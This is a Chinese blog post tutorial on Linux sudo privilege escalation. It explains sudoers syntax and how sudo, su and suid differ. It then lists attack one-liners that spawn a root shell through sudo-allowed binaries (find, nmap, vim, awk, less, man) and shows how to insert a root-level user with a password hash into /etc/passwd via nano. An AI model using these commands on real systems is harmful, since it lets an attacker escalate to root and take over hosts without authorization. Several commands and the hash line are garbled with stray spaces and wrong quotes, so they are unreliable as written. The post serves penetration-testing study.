SUDO提权

概述:

sudo全称:super user do(干超级用户才能干的事)。

sudo 是一种权限管理机制,管理员可以授权普通用户去执行 root 权限的操作,而不需要知道 root 的密码。
sudo 以其他用户身份执行命令,默认以root身份执行。配置文件/etc/sudoers,使用命令 vi sudo 编辑配置。

## Allow root to run any commands anywhere
root    ALL          =    (ALL)                   ALL
boy     ALL          =    (ALL)                   NOPASSWD:/bin/ls                     #允许boy用户使用ls命令,且无需输入密码
boy     ALL          =    (ALL)                   NOPASSWD:ALL                         #允许boy用户使用全部命令,且无需输入密码
用户 从哪些主机执行命令  =   (用户身份,默认root用户)  可使用命令的全路径格式,多个命令以逗号分隔

例如:仅允许用户 nick 在 192.168.10.0/24 网段上连接主机并且以 root 权限执行 useradd 命令:

nick 192.168.10.0/24=(root) /usr/sbin/useradd

1、sudo执行原理:

sudo时间戳:普通用户第一次执行sudo命令时,需输入账户密码,系统会在/var/run/sudo/ts目录下为该用户创建时间戳,有效时间5分钟,可使用-v参数延长有效期,使用-k参数清除时间戳。

sudo -l  查看当前用户sudo可使用的命令

2、sudo、su、suid的区别:

sudo: 某个root执行的操作-->某个用户,授权某个用户以root权限执行某些命令,需要用户自己的密码。

su: 用于变更为其他使用者的身份,除 root 外,需要键入所切换用户的密码。

suid:某个root权限的命令-->所有用户,比如passwd,针对需要root权限的命令,任何用户都可以使用suid权限的命令。

3、sudo 提权

如果攻击者知道当前用户密码,就可以利用sudo执行命令提权。

利用SUDO用户:

/usr/bin/find

/usr/bin/nano

/usr/bin/vim

/usr/bin/man

/usr/bin/awk

/usr/bin/less

/usr/bin/nmap(–interactiveand–scriptmethod)

/bin/more

/usr/bin/wget

/usr/sbin/apache2

用法:

sudo find /etc/passwd -exec /bin/sh\;

echo“ os.execute('/ bin / sh')”> /tmp/shell && sudo nmap --script = / tmp / shell

sudo man man

sudo vim -c '!sh'

sudo less /etc/hosts

sudo more /etc/hosts

sudo awk 'BEGIN{system(“/bin/sh”)}'

使用nano命令:

nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改passwd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。

touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI /gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/ root:/ bin

sudo nano /etc/passwd

现在切换用户密码是:test

su touhid

posted @ 2023-03-27 17:01  hello_bao  阅读(438)  评论(0)    收藏  举报